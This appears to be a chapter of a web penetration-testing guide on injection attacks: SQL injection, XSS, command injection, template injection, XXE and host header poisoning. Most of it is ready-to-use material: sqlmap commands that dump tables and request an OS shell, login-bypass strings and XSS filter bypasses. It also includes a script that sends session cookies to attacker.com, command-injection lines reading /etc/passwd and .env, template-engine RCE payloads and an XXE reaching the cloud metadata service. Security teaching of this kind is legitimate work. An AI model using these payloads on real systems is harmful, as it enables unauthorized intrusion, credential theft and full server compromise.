04 – Injection Attacks

0

04 – Injection Attacks

Injection attacks occur when user-supplied input is interpreted as code or commands by the server. They include SQL Injection, Cross-Site Scripting, Command Injection, and Template Injection.


1. SQL Injection (SQLi)

Why it matters

SQL injection allows attackers to read any data in the database, bypass authentication, modify or delete data, and in some server configurations, execute OS commands.

How to Identify Potential SQLi Points

Any input that gets sent to a database is a candidate:

  • URL parameters: ?id=1, ?search=hello, ?category=books
  • POST body fields: search boxes, login forms, filter fields
  • HTTP headers that get logged: User-Agent, X-Forwarded-For, Referer

Step 1: Manual Detection

Add a single quote ' to any input. If the app throws a database error, it’s likely vulnerable.

# URL parameter test
curl -s "https://target.com/product?id=1'"

# Look for errors containing:
# "You have an error in your SQL syntax"
# "ORA-01756" (Oracle)
# "Warning: pg_query()" (PostgreSQL)
# "Unclosed quotation mark" (MSSQL)
# Any stack trace mentioning SQL

Step 2: Boolean-Based Detection (Blind SQLi)

If there’s no visible error but the page behaves differently:

# Original URL
https://target.com/product?id=1

# True condition (should return same as original)
https://target.com/product?id=1 AND 1=1--

# False condition (should return empty/different page)
https://target.com/product?id=1 AND 1=2--

If the page responds differently for true vs false — it’s Blind SQL Injection.

Step 3: Automate with SQLmap

Save the vulnerable request from Burp (right-click → Save item → request.txt):

# Basic test — enumerate databases
sqlmap -r request.txt --dbs --batch

# Enumerate tables in a database
sqlmap -r request.txt -D database_name --tables --batch

# Dump a table
sqlmap -r request.txt -D database_name -T users --dump --batch

# URL directly
sqlmap -u "https://target.com/product?id=1" --dbs --batch

# For POST request
sqlmap -u "https://target.com/search" \
  --data="query=test" \
  --dbs --batch

# Try to get OS shell (if permissions allow)
sqlmap -r request.txt --os-shell --batch

Step 4: SQLi in Login Forms (Authentication Bypass)

# In the username field, try:
admin'--
admin' OR 1=1--
' OR '1'='1
admin'/*

# These terminate the SQL query early, making the password check irrelevant
# Expected SQL becomes: SELECT * FROM users WHERE username='admin'--' AND password='...'
# The -- comments out the password check

2. Cross-Site Scripting (XSS)

Why it matters

XSS allows attackers to inject JavaScript into pages other users view. This can steal session cookies, redirect users, capture keystrokes, or deface the application. In stored XSS, every user who visits the page is attacked.

Types of XSS

  • Reflected XSS: Input is returned in the immediate response (search results, error messages)
  • Stored XSS: Input is saved in the database and shown to other users (comments, profiles, posts)
  • DOM-based XSS: JavaScript on the page itself processes the input without it going to the server

Step 1: Find Reflection Points

Any input that appears back in the page is a potential XSS point:

  • Search boxes
  • Error messages that include your input: “No results for: [your search]”
  • Profile fields (username, bio, address)
  • Comment sections
  • URL parameters that appear in the page

Step 2: Initial Test Payload

<script>alert(document.domain)</script>

If an alert box appears showing the domain — XSS confirmed.

Step 3: If Basic Payload Is Blocked — Try Bypasses

<!-- Event handlers (bypass when <script> is blocked) -->
<img src=x onerror="alert(document.domain)">
<svg onload="alert(document.domain)">
<body onload="alert(document.domain)">
<input autofocus onfocus="alert(document.domain)">

<!-- Case variation bypass -->
<ScRiPt>alert(document.domain)</ScRiPt>

<!-- Encoding bypass -->
<script>alert&#40;document.domain&#41;</script>

<!-- JavaScript URI -->
<a href="javascript:alert(document.domain)">click me</a>

<!-- Bypass when quotes are filtered -->
<script>alert`document.domain`</script>

<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%2Fscript%253E

If the cookie doesn’t have HttpOnly flag, this steals the session:

<script>
  new Image().src="https://attacker.com/steal?cookie="+document.cookie;
</script>

For a real engagement, set up a simple listener:

# On your machine, start a netcat listener
nc -lvp 4444

# Or use a requestbin: https://requestbin.com (free, no setup)

Step 5: Identifying DOM-Based XSS

Look at the page source code for patterns like:

document.write(location.search)
document.innerHTML = url.hash
eval(location.hash.slice(1))

If the page uses location.hash, location.search, or document.URL and passes them to dangerous sinks like innerHTML, eval(), or document.write(), it’s DOM XSS.

Test:

https://target.com/page#<img src=x onerror=alert(1)>

3. Command Injection (OS Injection)

Why it matters

Command injection allows attackers to execute operating system commands on the server. Impact is typically full server compromise.

Where to Look

Features that interact with the OS:

  • File conversion tools (PDF generators, image resizers)
  • Email sending features (“Send test email to: [input]”)
  • Network utilities (ping, traceroute, DNS lookup)
  • System information displays
  • Filename inputs in file upload features

Test Payloads

# Basic command separation
; ls -la
| ls -la
& ls -la
&& ls -la
|| ls -la

# In URL encoding
;ls+-la
%3Bls%20-la

# Time-based detection (if no output visible)
; sleep 5
| sleep 5
&& sleep 10

# Read sensitive files
; cat /etc/passwd
; cat /etc/hosts
; cat .env

Example: Testing a Ping Field

# App sends a ping to your input
# Normal input: 8.8.8.8
# Malicious input:
8.8.8.8; cat /etc/passwd
8.8.8.8 | whoami
8.8.8.8 && id

# If the server output includes root:x:0:0:root — RCE confirmed

4. Server-Side Template Injection (SSTI)

Why it matters

Modern web apps use template engines (Jinja2, Twig, Handlebars, Freemarker) to generate HTML. If user input is placed inside a template and evaluated, attackers can execute arbitrary code.

Detection: The Math Test

Insert math expressions that template engines evaluate:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

If the page outputs 49 instead of literally showing {{7*7}} — SSTI confirmed.

Identifying the Template Engine

{{7*7}}     → 49         → Twig/Jinja2
${7*7}      → 49         → Freemarker/Thymeleaf
*{7*7}      → 49         → Thymeleaf (Spring)
#{7*7}      → 49         → Ruby ERB
<%= 7*7 %>  → 49         → ERB/JSP

Exploitation by Engine

Jinja2 (Python/Flask):

# Read files
{{config.from_pyfile('/etc/passwd')}}

# Execute commands (RCE)
{{''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0]}}

# Simpler RCE (if __import__ is available)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig (PHP/Symfony):

# Execute code
{{['id']|filter('system')}}
{{'/etc/passwd'|file_excerpt(1,10)}}

Freemarker (Java):

${"freemarker.template.utility.Execute"?new()("id")}

5. XML External Entity (XXE)

Why it matters

Applications that parse XML can be tricked into reading local files, performing SSRF, or even executing code if the XML parser is configured insecurely.

Where to Look

  • File upload features that accept .xml, .docx, .xlsx, .svg
  • APIs with Content-Type: application/xml
  • SOAP web services

Basic XXE Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

If the response includes the contents of /etc/passwd — XXE confirmed.

XXE for SSRF (Internal Network Access)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

169.254.169.254 is the AWS metadata service IP. If the response contains cloud metadata — XXE + SSRF confirmed (very critical).


6. Host Header Injection

Why it matters

Some applications use the Host header to generate URLs (for password resets, email links). If the application trusts the Host header without validating it, attackers can send poisoned emails containing links to attacker-controlled servers.

How to Test

  1. In Burp Repeater, modify the Host header to attacker.com
  2. Trigger any email-sending feature (password reset, invite link, email verification)
  3. Check the email received — if the link domain is attacker.com, it’s vulnerable
# Burp request modification
POST /api/password-reset HTTP/1.1
Host: attacker.com
Content-Type: application/json

{"email":"victim@target.com"}

Variants to Try

Host: attacker.com
Host: target.com.attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com